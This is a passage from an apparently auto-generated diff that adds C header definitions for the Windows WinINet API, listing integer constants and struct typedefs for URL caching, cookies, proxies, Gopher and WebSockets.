INTERNET_CACHE_CONTAINER_AUTODELETE 0x2 +#define INTERNET_CACHE_CONTAINER_RESERVED1 0x4 +#define INTERNET_CACHE_CONTAINER_NODESKTOPINIT 0x8 +#define INTERNET_CACHE_CONTAINER_MAP_ENABLED 0x10 +#define INTERNET_CACHE_CONTAINER_BLOOM_FILTER 0x20 +#define INTERNET_CACHE_CONTAINER_SHARE_READ 0x100 +#define INTERNET_CACHE_CONTAINER_SHARE_READ_WRITE 0x300 +#define CACHE_FIND_CONTAINER_RETURN_NOCHANGE 0x1 +#define CACHE_HEADER_DATA_CURRENT_SETTINGS_VERSION 0x0 +#define CACHE_HEADER_DATA_CONLIST_CHANGE_COUNT 0x1 +#define CACHE_HEADER_DATA_COOKIE_CHANGE_COUNT 0x2 +#define CACHE_HEADER_DATA_NOTIFICATION_HWND 0x3 +#define CACHE_HEADER_DATA_NOTIFICATION_MESG 0x4 +#define CACHE_HEADER_DATA_ROOTGROUP_OFFSET 0x5 +#define CACHE_HEADER_DATA_GID_LOW 0x6 +#define CACHE_HEADER_DATA_GID_HIGH 0x7 +#define CACHE_HEADER_DATA_LAST_SCAVENGE_TIMESTAMP 0x8 +#define CACHE_HEADER_DATA_CACHE_READ_COUNT_SINCE_LAST_SCAVENGE 0x9 +#define CACHE_HEADER_DATA_CACHE_WRITE_COUNT_SINCE_LAST_SCAVENGE 0xa +#define CACHE_HEADER_DATA_HSTS_CHANGE_COUNT 0xb +#define CACHE_HEADER_DATA_CACHE_RESERVED_12 0xc +#define CACHE_HEADER_DATA_CACHE_RESERVED_13 0xd +#define CACHE_HEADER_DATA_SSL_STATE_COUNT 0xe +#define CACHE_HEADER_DATA_DOWNLOAD_PARTIAL 0xe +#define CACHE_HEADER_DATA_CACHE_RESERVED_15 0xf +#define CACHE_HEADER_DATA_CACHE_RESERVED_16 0x10 +#define CACHE_HEADER_DATA_CACHE_RESERVED_17 0x11 +#define CACHE_HEADER_DATA_CACHE_RESERVED_18 0x12 +#define CACHE_HEADER_DATA_CACHE_RESERVED_19 0x13 +#define CACHE_HEADER_DATA_CACHE_RESERVED_20 0x14 +#define CACHE_HEADER_DATA_NOTIFICATION_FILTER 0x15 +#define CACHE_HEADER_DATA_ROOT_LEAK_OFFSET 0x16 +#define CACHE_HEADER_DATA_CACHE_RESERVED_23 0x17 +#define CACHE_HEADER_DATA_CACHE_RESERVED_24 0x18 +#define CACHE_HEADER_DATA_CACHE_RESERVED_25 0x19 +#define CACHE_HEADER_DATA_CACHE_RESERVED_26 0x1a +#define CACHE_HEADER_DATA_ROOT_GROUPLIST_OFFSET 0x1b +#define CACHE_HEADER_DATA_CACHE_RESERVED_28 0x1c +#define CACHE_HEADER_DATA_CACHE_RESERVED_29 0x1d +#define CACHE_HEADER_DATA_CACHE_RESERVED_30 0x1e +#define CACHE_HEADER_DATA_CACHE_RESERVED_31 0x1f +#define CACHE_HEADER_DATA_LAST 0x1f +#define CACHE_NOTIFY_ADD_URL 0x1 +#define CACHE_NOTIFY_DELETE_URL 0x2 +#define CACHE_NOTIFY_UPDATE_URL 0x4 +#define CACHE_NOTIFY_DELETE_ALL 0x8 +#define CACHE_NOTIFY_URL_SET_STICKY 0x10 +#define CACHE_NOTIFY_URL_UNSET_STICKY 0x20 +#define CACHE_NOTIFY_SET_ONLINE 0x100 +#define CACHE_NOTIFY_SET_OFFLINE 0x200 +#define CACHE_NOTIFY_FILTER_CHANGED 0x10000000 +#define APP_CACHE_LOOKUP_NO_MASTER_ONLY 0x1 +#define APP_CACHE_ENTRY_TYPE_MASTER 0x1 +#define APP_CACHE_ENTRY_TYPE_EXPLICIT 0x2 +#define APP_CACHE_ENTRY_TYPE_FALLBACK 0x4 +#define APP_CACHE_ENTRY_TYPE_FOREIGN 0x8 +#define APP_CACHE_ENTRY_TYPE_MANIFEST 0x10 +#define CACHE_CONFIG_CONTENT_QUOTA_FC 0x8000 +#define CACHE_CONFIG_TOTAL_CONTENT_QUOTA_FC 0x10000 +#define CACHE_CONFIG_APPCONTAINER_CONTENT_QUOTA_FC 0x20000 +#define CACHE_CONFIG_APPCONTAINER_TOTAL_CONTENT_QUOTA_FC 0x40000 +#define INTERNET_AUTOPROXY_INIT_DEFAULT 0x1 +#define INTERNET_AUTOPROXY_INIT_DOWNLOADSYNC 0x2 +#define INTERNET_AUTOPROXY_INIT_QUERYSTATE 0x4 +#define INTERNET_AUTOPROXY_INIT_ONLYQUERY 0x8 +// SKIPPED const REGSTR_DIAL_AUTOCONNECT: non-integer constant +// SKIPPED const REGSTR_LEASH_LEGACY_COOKIES: non-integer constant +// SKIPPED const LOCAL_NAMESPACE_PREFIX: non-integer constant +// SKIPPED const LOCAL_NAMESPACE_PREFIX_W: non-integer constant +#define INTERNET_SUPPRESS_COOKIE_PERSIST 0x3 +#define INTERNET_SUPPRESS_COOKIE_PERSIST_RESET 0x4 +#define HTTP_WEB_SOCKET_MAX_CLOSE_REASON_LENGTH 0x7b +#define HTTP_WEB_SOCKET_MIN_KEEPALIVE_VALUE 0x2710 +#define INTERNET_GLOBAL_CALLBACK_SENDING_HTTP_HEADERS 0x1 +#define INTERNET_GLOBAL_CALLBACK_DETECTING_PROXY 0x2 +#define AppCacheFinalizeStateIncomplete 0 +#define AppCacheFinalizeStateManifestChange 1 +#define AppCacheFinalizeStateComplete 2 +#define INTERNET_PER_CONN_AUTOCONFIG_URL 0x4 +#define INTERNET_PER_CONN_AUTODISCOVERY_FLAGS 0x5 +#define INTERNET_PER_CONN_FLAGS 0x1 +#define INTERNET_PER_CONN_PROXY_BYPASS 0x3 +#define INTERNET_PER_CONN_PROXY_SERVER 0x2 +#define INTERNET_PER_CONN_AUTOCONFIG_SECONDARY_URL 0x6 +#define INTERNET_PER_CONN_AUTOCONFIG_RELOAD_DELAY_MINS 0x7 +#define INTERNET_PER_CONN_AUTOCONFIG_LAST_DETECT_TIME 0x8 +#define INTERNET_PER_CONN_AUTOCONFIG_LAST_DETECT_URL 0x9 +#define INTERNET_AUTODIAL_FAILIFSECURITYCHECK 0x4 +#define INTERNET_AUTODIAL_FORCE_ONLINE 0x1 +#define INTERNET_AUTODIAL_FORCE_UNATTENDED 0x2 +#define INTERNET_AUTODIAL_OVERRIDE_NET_PRESENT 0x8 +#define HTTP_WEB_SOCKET_SUCCESS_CLOSE_STATUS 1000 +#define HTTP_WEB_SOCKET_ENDPOINT_TERMINATED_CLOSE_STATUS 1001 +#define HTTP_WEB_SOCKET_PROTOCOL_ERROR_CLOSE_STATUS 1002 +#define HTTP_WEB_SOCKET_INVALID_DATA_TYPE_CLOSE_STATUS 1003 +#define HTTP_WEB_SOCKET_EMPTY_CLOSE_STATUS 1005 +#define HTTP_WEB_SOCKET_ABORTED_CLOSE_STATUS 1006 +#define HTTP_WEB_SOCKET_INVALID_PAYLOAD_CLOSE_STATUS 1007 +#define HTTP_WEB_SOCKET_POLICY_VIOLATION_CLOSE_STATUS 1008 +#define HTTP_WEB_SOCKET_MESSAGE_TOO_BIG_CLOSE_STATUS 1009 +#define HTTP_WEB_SOCKET_UNSUPPORTED_EXTENSIONS_CLOSE_STATUS 1010 +#define HTTP_WEB_SOCKET_SERVER_ERROR_CLOSE_STATUS 1011 +#define HTTP_WEB_SOCKET_SECURE_HANDSHAKE_ERROR_CLOSE_STATUS 1015 +#define UrlCacheLimitTypeIE 0 +#define UrlCacheLimitTypeIETotal 1 +#define UrlCacheLimitTypeAppContainer 2 +#define UrlCacheLimitTypeAppContainerTotal 3 +#define UrlCacheLimitTypeNum 4 +#define COOKIE_STATE_UNKNOWN 0 +#define COOKIE_STATE_ACCEPT 1 +#define COOKIE_STATE_PROMPT 2 +#define COOKIE_STATE_LEASH 3 +#define COOKIE_STATE_DOWNGRADE 4 +#define COOKIE_STATE_REJECT 5 +#define COOKIE_STATE_MAX 5 +#define HTTP_WEB_SOCKET_BINARY_MESSAGE_TYPE 0 +#define HTTP_WEB_SOCKET_BINARY_FRAGMENT_TYPE 1 +#define HTTP_WEB_SOCKET_UTF8_MESSAGE_TYPE 2 +#define HTTP_WEB_SOCKET_UTF8_FRAGMENT_TYPE 3 +#define HTTP_WEB_SOCKET_CLOSE_TYPE 4 +#define HTTP_WEB_SOCKET_PING_TYPE 5 +#define POLICY_EXTENSION_VERSION1 1 +#define FORTSTAT_INSTALLED 1 +#define FORTSTAT_LOGGEDON 2 +#define INTERNET_COOKIE_HTTPONLY 0x2000 +#define INTERNET_COOKIE_THIRD_PARTY 0x10 +#define INTERNET_FLAG_RESTRICTED_ZONE 0x20000 +#define WPAD_CACHE_DELETE_CURRENT 0 +#define WPAD_CACHE_DELETE_ALL 1 +#define HTTP_ADDREQ_FLAG_ADD 0x20000000 +#define HTTP_ADDREQ_FLAG_ADD_IF_NEW 0x10000000 +#define HTTP_ADDREQ_FLAG_COALESCE 0x40000000 +#define HTTP_ADDREQ_FLAG_COALESCE_WITH_COMMA 0x40000000 +#define HTTP_ADDREQ_FLAG_COALESCE_WITH_SEMICOLON 0x1000000 +#define HTTP_ADDREQ_FLAG_REPLACE 0x80000000 +#define AppCacheStateNoUpdateNeeded 0 +#define AppCacheStateUpdateNeeded 1 +#define AppCacheStateUpdateNeededNew 2 +#define AppCacheStateUpdateNeededMasterOnly 3 +#define GOPHER_TYPE_ASK 0x40000000 +#define GOPHER_TYPE_BINARY 0x200 +#define GOPHER_TYPE_BITMAP 0x4000 +#define GOPHER_TYPE_CALENDAR 0x80000 +#define GOPHER_TYPE_CSO 0x4 +#define GOPHER_TYPE_DIRECTORY 0x2 +#define GOPHER_TYPE_DOS_ARCHIVE 0x20 +#define GOPHER_TYPE_ERROR 0x8 +#define GOPHER_TYPE_GIF 0x1000 +#define GOPHER_TYPE_GOPHER_PLUS 0x80000000 +#define GOPHER_TYPE_HTML 0x20000 +#define GOPHER_TYPE_IMAGE 0x2000 +#define GOPHER_TYPE_INDEX_SERVER 0x80 +#define GOPHER_TYPE_INLINE 0x100000 +#define GOPHER_TYPE_MAC_BINHEX 0x10 +#define GOPHER_TYPE_MOVIE 0x8000 +#define GOPHER_TYPE_PDF 0x40000 +#define GOPHER_TYPE_REDUNDANT 0x400 +#define GOPHER_TYPE_SOUND 0x10000 +#define GOPHER_TYPE_TELNET 0x100 +#define GOPHER_TYPE_TEXT_FILE 0x1 +#define GOPHER_TYPE_TN3270 0x800 +#define GOPHER_TYPE_UNIX_UUENCODED 0x40 +#define GOPHER_TYPE_UNKNOWN 0x20000000 +#define INTERNET_STATE_CONNECTED 0x1 +#define INTERNET_STATE_DISCONNECTED 0x2 +#define INTERNET_STATE_DISCONNECTED_BY_USER 0x10 +#define INTERNET_STATE_IDLE 0x100 +#define INTERNET_STATE_BUSY 0x200 +#define CACHE_CONFIG_FORCE_CLEANUP_FC 0x20 +#define CACHE_CONFIG_DISK_CACHE_PATHS_FC 0x40 +#define CACHE_CONFIG_SYNC_MODE_FC 0x80 +#define CACHE_CONFIG_CONTENT_PATHS_FC 0x100 +#define CACHE_CONFIG_HISTORY_PATHS_FC 0x400 +#define CACHE_CONFIG_COOKIES_PATHS_FC 0x200 +#define CACHE_CONFIG_QUOTA_FC 0x800 +#define CACHE_CONFIG_USER_MODE_FC 0x1000 +#define CACHE_CONFIG_CONTENT_USAGE_FC 0x2000 +#define CACHE_CONFIG_STICKY_CONTENT_USAGE_FC 0x4000 +#define INTERNET_CONNECTION_CONFIGURED 0x40 +#define INTERNET_CONNECTION_LAN 0x2 +#define INTERNET_CONNECTION_MODEM 0x1 +#define INTERNET_CONNECTION_MODEM_BUSY 0x8 +#define INTERNET_CONNECTION_OFFLINE 0x20 +#define INTERNET_CONNECTION_PROXY 0x4 +#define INTERNET_RAS_INSTALLED 0x10 +#define FORTCMD_LOGON 1 +#define FORTCMD_LOGOFF 2 +#define FORTCMD_CHG_PERSONALITY 3 +#define WININET_SYNC_MODE_NEVER 0 +#define WININET_SYNC_MODE_ON_EXPIRY 1 +#define WININET_SYNC_MODE_ONCE_PER_SESSION 2 +#define WININET_SYNC_MODE_ALWAYS 3 +#define WININET_SYNC_MODE_AUTOMATIC 4 +#define WININET_SYNC_MODE_DEFAULT 4 +#define FTP_TRANSFER_TYPE_ASCII 0x1 +#define FTP_TRANSFER_TYPE_BINARY 0x2 +#define FTP_TRANSFER_TYPE_UNKNOWN 0x0 +#define INTERNET_FLAG_TRANSFER_ASCII 0x1 +#define INTERNET_FLAG_TRANSFER_BINARY 0x2 +#define HTTP_WEB_SOCKET_SEND_OPERATION 0 +#define HTTP_WEB_SOCKET_RECEIVE_OPERATION 1 +#define HTTP_WEB_SOCKET_CLOSE_OPERATION 2 +#define HTTP_WEB_SOCKET_SHUTDOWN_OPERATION 3 +#define POLICY_EXTENSION_TYPE_NONE 0 +#define POLICY_EXTENSION_TYPE_WINHTTP 1 +#define POLICY_EXTENSION_TYPE_WININET 2 +#define INTERNET_OPEN_TYPE_DIRECT 0x1 +#define INTERNET_OPEN_TYPE_PRECONFIG 0x0 +#define INTERNET_OPEN_TYPE_PROXY 0x3 +#define PROOF_OF_POSSESSION_DEFAULT 0x0 +#define PROOF_OF_POSSESSION_ALLOW_SILENT_REQUESTS 0x1 +#define PROXY_AUTO_DETECT_TYPE_DHCP 0x1 +#define PROXY_AUTO_DETECT_TYPE_DNS_A 0x2 +#define NameResolutionStart 0 +#define NameResolutionEnd 1 +#define ConnectionEstablishmentStart 2 +#define ConnectionEstablishmentEnd 3 +#define TLSHandshakeStart 4 +#define TLSHandshakeEnd 5 +#define HttpRequestTimeMax 32 +#define HttpPushWaitEnableComplete 0 +#define HttpPushWaitReceiveComplete 1 +#define HttpPushWaitSendComplete 2 +#define INTERNET_SCHEME_PARTIAL -2 +#define INTERNET_SCHEME_UNKNOWN -1 +#define INTERNET_SCHEME_DEFAULT 0 +#define INTERNET_SCHEME_FTP 1 +#define INTERNET_SCHEME_GOPHER 2 +#define INTERNET_SCHEME_HTTP 3 +#define INTERNET_SCHEME_HTTPS 4 +#define INTERNET_SCHEME_FILE 5 +#define INTERNET_SCHEME_NEWS 6 +#define INTERNET_SCHEME_MAILTO 7 +#define INTERNET_SCHEME_SOCKS 8 +#define INTERNET_SCHEME_JAVASCRIPT 9 +#define INTERNET_SCHEME_VBSCRIPT 10 +#define INTERNET_SCHEME_RES 11 +#define INTERNET_SCHEME_FIRST 1 +#define INTERNET_SCHEME_LAST 11 + +typedef struct _AutoProxyHelperVtbl { + long long IsResolvable; + long long GetIPAddress; + long long ResolveHostName; + long long IsInNet; + long long IsResolvableEx; + long long GetIPAddressEx; + long long ResolveHostNameEx; + long long IsInNetEx; + long long SortIpList; +} AutoProxyHelperVtbl; + +typedef struct _GOPHER_SCORE_ATTRIBUTE_TYPE { + int Score; +} GOPHER_SCORE_ATTRIBUTE_TYPE; + +typedef struct _GOPHER_GEOGRAPHICAL_LOCATION_ATTRIBUTE_TYPE { + int DegreesNorth; + int MinutesNorth; + int SecondsNorth; + int DegreesEast; + int MinutesEast; + int SecondsEast; +} GOPHER_GEOGRAPHICAL_LOCATION_ATTRIBUTE_TYPE; + +typedef struct _INTERNET_COOKIE { + unsigned int cbSize; + void* pszName; + void* pszData; + void* pszDomain; + void* pszPath; + void* pftExpires; + unsigned int dwFlags; + void* pszUrl; + void* pszP3PPolicy; +} INTERNET_COOKIE; + +typedef struct _GOPHER_ASK_ATTRIBUTE_TYPE { + void* QuestionType; + void* QuestionText; +} GOPHER_ASK_ATTRIBUTE_TYPE; + +typedef struct _INTERNET_CACHE_CONFIG_PATH_ENTRYA { + unsigned char CachePath[260]; + unsigned int dwCacheSize; +} INTERNET_CACHE_CONFIG_PATH_ENTRYA; + +typedef struct _GOPHER_TIMEZONE_ATTRIBUTE_TYPE { + int Zone; +} GOPHER_TIMEZONE_ATTRIBUTE_TYPE; + +typedef struct _INTERNET_CACHE_TIMESTAMPS { + void* ftExpires; + void* ftLastModified; +} INTERNET_CACHE_TIMESTAMPS; + +typedef struct _INTERNET_AUTH_NOTIFY_DATA { + unsigned int cbStruct; + unsigned int dwOptions; + void* pfnNotify; + unsigned long long dwContext; +} INTERNET_AUTH_NOTIFY_DATA; + +typedef struct _GOPHER_FIND_DATAA { + unsigned char DisplayString[129]; + void* GopherType; + unsigned int SizeLow; + unsigned int SizeHigh; + void* LastModificationTime; + unsigned char Locator[654]; +} GOPHER_FIND_DATAA; + +typedef struct _HTTP_REQUEST_TIMES { + unsigned int cTimes; + unsigned long long rgTimes[32]; +} HTTP_REQUEST_TIMES; + +typedef struct _INTERNET_CACHE_ENTRY_INFOW { + unsigned int dwStructSize; + void* lpszSourceUrlName; + void* lpszLocalFileName; + unsigned int CacheEntryType; + unsigned int dwUseCount; + unsigned int dwHitRate; + unsigned int dwSizeLow; + unsigned int dwSizeHigh; + void* LastModifiedTime; + void* ExpireTime; + void* LastAccessTime; + void* LastSyncTime; + void* lpHeaderInfo; + unsigned int dwHeaderInfoSize; + void* lpszFileExtension; + void* Anonymous; +} INTERNET_CACHE_ENTRY_INFOW; + +typedef struct _INTERNET_PER_CONN_OPTIONW { + void* dwOption; + void* Value; +} INTERNET_PER_CONN_OPTIONW; + +typedef struct _INTERNET_PER_CONN_OPTION_LISTW { + unsigned int dwSize; + void* pszConnection; + unsigned int dwOptionCount; + unsigned int dwOptionError; + void* pOptions; +} INTERNET_PER_CONN_OPTION_LISTW; + +typedef struct _GOPHER_PROVIDER_ATTRIBUTE_TYPE { + void* Provider; +} GOPHER_PROVIDER_ATTRIBUTE_TYPE; + +typedef struct _HTTP_PUSH_NOTIFICATION_STATUS { + BOOL ChannelStatusValid; + unsigned int ChannelStatus; +} HTTP_PUSH_NOTIFICATION_STATUS; + +typedef struct _COOKIE_DLG_INFO { + void* pszServer; + void* pic; + unsigned int dwStopWarning; + int cx; + int cy; + void* pszHeader; + unsigned int dwOperation; +} COOKIE_DLG_INFO; + +typedef struct _INTERNET_PER_CONN_OPTIONA { + void* dwOption; + void* Value; +} INTERNET_PER_CONN_OPTIONA; + +typedef struct _GOPHER_ADMIN_ATTRIBUTE_TYPE { + void* Comment; + void* EmailAddress; +} GOPHER_ADMIN_ATTRIBUTE_TYPE; + +typedef struct _WININET_PROXY_INFO { + BOOL fProxy; + BOOL fBypass; + void* ProxyScheme; + void* pwszProxy; + unsigned short ProxyPort; +} WININET_PROXY_INFO; + +typedef struct _INTERNET_END_BROWSER_SESSION_DATA { + void* lpBuffer; + unsigned int dwBufferLength; +} INTERNET_END_BROWSER_SESSION_DATA; + +typedef struct _INTERNET_DOWNLOAD_MODE_HANDLE { + void* pcwszFileName; + void* phFile; +} INTERNET_DOWNLOAD_MODE_HANDLE; + +typedef struct _INTERNET_DIAGNOSTIC_SOCKET_INFO { + unsigned long long Socket; + unsigned int SourcePort; + unsigned int DestPort; + unsigned int Flags; +} INTERNET_DIAGNOSTIC_SOCKET_INFO; + +typedef struct _IncomingCookieState { + int cSession; + int cPersistent; + int cAccepted; + int cLeashed; + int cDowngraded; + int cBlocked; + void* pszLocation; +} IncomingCookieState; + +typedef struct _GOPHER_VERONICA_ATTRIBUTE_TYPE { + BOOL TreeWalk; +} GOPHER_VERONICA_ATTRIBUTE_TYPE; + +typedef struct _INTERNET_BUFFERSW { + unsigned int dwStructSize; + void* Next; + void* lpcszHeader; + unsigned int dwHeadersLength; + unsigned int dwHeadersTotal; + void* lpvBuffer; + unsigned int dwBufferLength; + unsigned int dwBufferTotal; + unsigned int dwOffsetLow; + unsigned int dwOffsetHigh; +} INTERNET_BUFFERSW; + +typedef struct _AutoProxyHelperFunctions { + void* lpVtbl; +} AutoProxyHelperFunctions; + +typedef struct _INTERNET_SECURITY_CONNECTION_INFO { + unsigned int dwSize; + BOOL fSecure; + void* connectionInfo; + void* cipherInfo; +} INTERNET_SECURITY_CONNECTION_INFO; + +typedef struct _URLCACHE_ENTRY_INFO { + void* pwszSourceUrlName; + void* pwszLocalFileName; + unsigned int dwCacheEntryType; + unsigned int dwUseCount; + unsigned int dwHitRate; + unsigned int dwSizeLow; + unsigned int dwSizeHigh; + void* ftLastModifiedTime; + void* ftExpireTime; + void* ftLastAccessTime; + void* ftLastSyncTime; + void* pbHeaderInfo; + unsigned int cbHeaderInfoSize; + void* pbExtraData; + unsigned int cbExtraDataSize; +} URLCACHE_ENTRY_INFO; + +typedef struct _INTERNET_CREDENTIALS { + void* lpcwszHostName; + unsigned int dwPort; + unsigned int dwScheme; + void* lpcwszUrl; + void* lpcwszRealm; + BOOL fAuthIdentity; + void* Anonymous; +} INTERNET_CREDENTIALS; + +typedef struct _INTERNET_CERTIFICATE_INFO { + void* ftExpiry; + void* ftStart; + void* lpszSubjectInfo; + void* lpszIssuerInfo; + void* lpszProtocolName; + void* lpszSignatureAlgName; + void* lpszEncryptionAlgName; + unsigned int dwKeySize; +} INTERNET_CERTIFICATE_INFO; + +typedef struct _INTERNET_CACHE_CONTAINER_INFOA { + unsigned int dwCacheVersion; + void* lpszName; + void* lpszCachePrefix; + void* lpszVolumeLabel; + void* lpszVolumeTitle; +} INTERNET_CACHE_CONTAINER_INFOA; + +typedef struct _INTERNET_VERSION_INFO { + unsigned int dwMajorVersion; + unsigned int dwMinorVersion; +} INTERNET_VERSION_INFO; + +typedef struct _URL_COMPONENTSA { + unsigned int dwStructSize; + void* lpszScheme; + unsigned int dwSchemeLength; + void* nScheme; + void* lpszHostName; + unsigned int dwHostNameLength; + unsigned short nPort; + void* lpszUserName; + unsigned int dwUserNameLength; + void* lpszPassword; + unsigned int dwPasswordLength; + void* lpszUrlPath; + unsigned int dwUrlPathLength; + void* lpszExtraInfo; + unsigned int dwExtraInfoLength; +} URL_COMPONENTSA; + +typedef struct _APP_CACHE_DOWNLOAD_ENTRY { + void* pwszUrl; + unsigned int dwEntryType; +} APP_CACHE_DOWNLOAD_ENTRY; + +typedef struct _INTERNET_CACHE_CONFIG_PATH_ENTRYW { + unsigned short CachePath[260]; + unsigned int dwCacheSize; +} INTERNET_CACHE_CONFIG_PATH_ENTRYW; + +typedef struct _HTTP_WEB_SOCKET_ASYNC_RESULT { + void* AsyncResult; + void* Operation; + void* BufferType; + unsigned int dwBytesTransferred; +} HTTP_WEB_SOCKET_ASYNC_RESULT; + +typedef struct _GOPHER_ABSTRACT_ATTRIBUTE_TYPE { + void* ShortAbstract; + void* AbstractFile; +} GOPHER_ABSTRACT_ATTRIBUTE_TYPE; + +typedef struct _INTERNET_SECURITY_INFO { + unsigned int dwSize; + void* pCertificate; + void* pcCertChain; + void* connectionInfo; + void* cipherInfo; + void* pcUnverifiedCertChain; + void* channelBindingToken; +} INTERNET_SECURITY_INFO; + +typedef struct _InternetCookieHistory { + BOOL fAccepted; + BOOL fLeashed; + BOOL fDowngraded; + BOOL fRejected; +} InternetCookieHistory; + +typedef struct _GOPHER_VIEW_ATTRIBUTE_TYPE { + void* ContentType; + void* Language; + unsigned int Size; +} GOPHER_VIEW_ATTRIBUTE_TYPE; + +typedef struct _INTERNET_CACHE_CONTAINER_INFOW { + unsigned int dwCacheVersion; + void* lpszName; + void* lpszCachePrefix; + void* lpszVolumeLabel; + void* lpszVolumeTitle; +} INTERNET_CACHE_CONTAINER_INFOW; + +typedef struct _INTERNET_ASYNC_RESULT { + unsigned long long dwResult; + unsigned int dwError; +} INTERNET_ASYNC_RESULT; + +typedef struct _GOPHER_LOCATION_ATTRIBUTE_TYPE { + void* Location; +} GOPHER_LOCATION_ATTRIBUTE_TYPE; + +typedef struct _INTERNET_CACHE_GROUP_INFOW { + unsigned int dwGroupSize; + unsigned int dwGroupFlags; + unsigned int dwGroupType; + unsigned int dwDiskUsage; + unsigned int dwDiskQuota; + unsigned int dwOwnerStorage[4]; + unsigned short szGroupName[120]; +} INTERNET_CACHE_GROUP_INFOW; + +typedef struct _GOPHER_MOD_DATE_ATTRIBUTE_TYPE { + void* DateAndTime; +} GOPHER_MOD_DATE_ATTRIBUTE_TYPE; + +typedef struct _INTERNET_CONNECTED_INFO { + void* dwConnectedState; + unsigned int dwFlags; +} INTERNET_CONNECTED_INFO; + +typedef struct _OutgoingCookieState { + int cSent; + int cSuppressed; + void* pszLocation; +} OutgoingCookieState; + +typedef struct _INTERNET_CACHE_GROUP_INFOA { + unsigned int dwGroupSize; + unsigned int dwGroupFlags; + unsigned int dwGroupType; + unsigned int dwDiskUsage; + unsigned int dwDiskQuota; + unsigned int dwOwnerStorage[4]; + unsigned char szGroupName[120]; +} INTERNET_CACHE_GROUP_INFOA; + +typedef struct _HTTP_PUSH_WAIT_HANDLE { + void* Value; +} HTTP_PUSH_WAIT_HANDLE; + +typedef struct _GOPHER_UNKNOWN_ATTRIBUTE_TYPE { + void* Text; +} GOPHER_UNKNOWN_ATTRIBUTE_TYPE; + +typedef struct _CookieDecision { + unsigned int dwCookieState; + BOOL fAllowSession; +} CookieDecision; + +typedef struct _GOPHER_ORGANIZATION_ATTRIBUTE_TYPE { + void* Organization; +} GOPHER_ORGANIZATION_ATTRIBUTE_TYPE; + +typedef struct _INTERNET_SERVER_CONNECTION_STATE { + void* lpcwszHostName; + BOOL fProxy; + unsigned int dwCounter; + unsigned int dwConnectionLimit; + unsigned int dwAvailableCreates; + unsigned int dwAvailableKeepAlives; + unsigned int dwActiveConnections; + unsigned int dwWaiters; +} INTERNET_SERVER_CONNECTION_STATE; + +typedef struct _WININET_PROXY_INFO_LIST { + unsigned int dwProxyInfoCount; + void* pProxyInfo; +} WININET_PROXY_INFO_LIST; + +typedef struct _APP_CACHE_GROUP_INFO { + void* pwszManifestUrl; + void* ftLastAccessTime; + unsigned long long ullSize; +} APP_CACHE_GROUP_INFO; + +typedef struct _INTERNET_PREFETCH_STATUS { + unsigned int dwStatus; + unsigned int dwSize; +} INTERNET_PREFETCH_STATUS; + +typedef struct _GOPHER_VERSION_ATTRIBUTE_TYPE { + void* Version; +} GOPHER_VERSION_ATTRIBUTE_TYPE; + +typedef struct _AUTO_PROXY_SCRIPT_BUFFER { + unsigned int dwStructSize; + void* lpszScriptBuffer; + unsigned int dwScriptBufferSize; +} AUTO_PROXY_SCRIPT_BUFFER; + +typedef struct _INTERNET_BUFFERSA { + unsigned int dwStructSize; + void* Next; + void* lpcszHeader; + unsigned int dwHeadersLength; + unsigned int dwHeadersTotal; + void* lpvBuffer; + unsigned int dwBufferLength; + unsigned int dwBufferTotal; + unsigned int dwOffsetLow; + unsigned int dwOffsetHigh; +} INTERNET_BUFFERSA; + +typedef struct _INTERNET_COOKIE2 { + void* pwszName; + void* pwszValue; + void* pwszDomain; + void* pwszPath; + unsigned int dwFlags; + void* ftExpires; + BOOL fExpiresSet; +} INTERNET_COOKIE2; + +typedef struct _INTERNET_CACHE_CONFIG_INFOA { + unsigned int dwStructSize; + unsigned int dwContainer; + unsigned int dwQuota; + unsigned int dwReserved4; + BOOL fPerUser; + unsigned int dwSyncMode; + unsigned int dwNumCachePaths; + void* Anonymous; + unsigned int dwNormalUsage; + unsigned int dwExemptUsage; +} INTERNET_CACHE_CONFIG_INFOA; + +typedef struct _GOPHER_ATTRIBUTE_TYPE { + unsigned int CategoryId; + unsigned int AttributeId; + void* AttributeType; +} GOPHER_ATTRIBUTE_TYPE; + +typedef struct _GOPHER_SCORE_RANGE_ATTRIBUTE_TYPE { + int LowerBound; + int UpperBound; +} GOPHER_SCORE_RANGE_ATTRIBUTE_TYPE; + +typedef struct _GOPHER_TTL_ATTRIBUTE_TYPE { + unsigned int Ttl; +} GOPHER_TTL_ATTRIBUTE_TYPE; + +typedef struct _INTERNET_PROXY_INFO { + void* dwAccessType; + void* lpszProxy; + void* lpszProxyBypass; +} INTERNET_PROXY_INFO; + +// SKIPPED struct ProofOfPossessionCookieInfoManager: no representable fields +typedef struct _ProofOfPossessionCookieInfo { + void* name; + void* data; + unsigned int flags; + void* p3pHeader; +} ProofOfPossessionCookieInfo; + +typedef struct _GOPHER_SITE_ATTRIBUTE_TYPE { + void* Site; +} GOPHER_SITE_ATTRIBUTE_TYPE; + +typedef struct _HTTP_PUSH_TRANSPORT_SETTING { + void* TransportSettingId; + void* BrokerEventId; +} HTTP_PUSH_TRANSPORT_SETTING; + +typedef struct _INTERNET_CACHE_ENTRY_INFOA { + unsigned int dwStructSize; + void* lpszSourceUrlName; + void* lpszLocalFileName; + unsigned int CacheEntryType; + unsigned int dwUseCount; + unsigned int dwHitRate; + unsigned int dwSizeLow; + unsigned int dwSizeHigh; + void* LastModifiedTime; + void* ExpireTime; + void* LastAccessTime; + void* LastSyncTime; + void* lpHeaderInfo; + unsigned int dwHeaderInfoSize; + void* lpszFileExtension; + void* Anonymous; +} INTERNET_CACHE_ENTRY_INFOA; + +typedef struct _INTERNET_CACHE_CONFIG_INFOW { + unsigned int dwStructSize; + unsigned int dwContainer; + unsigned int dwQuota; + unsigned int dwReserved4; + BOOL fPerUser; + unsigned int dwSyncMode; + unsigned int dwNumCachePaths; + void* Anonymous; + unsigned int dwNormalUsage; + unsigned int dwExemptUsage; +} INTERNET_CACHE_CONFIG_INFOW; + +typedef struct _APP_CACHE_DOWNLOAD_LIST { + unsigned int dwEntryCount; + void* pEntries; +} APP_CACHE_DOWNLOAD_LIST; + +typedef struct _INTERNET_CALLBACK_COOKIE { + void* pcwszName; + void* pcwszValue; + void* pcwszDomain; + void* pcwszPath; + void* ftExpires; + unsigned int dwFlags; +} INTERNET_CALLBACK_COOKIE; + +typedef struct _GOPHER_FIND_DATAW { + unsigned short DisplayString[129]; + void* GopherType; + unsigned int SizeLow; + unsigned int SizeHigh; + void* LastModificationTime; + unsigned short Locator[654]; +} GOPHER_FIND_DATAW; + +typedef struct _URL_COMPONENTSW { + unsigned int dwStructSize; + void* lpszScheme; + unsigned int dwSchemeLength; + void* nScheme; + void* lpszHostName; + 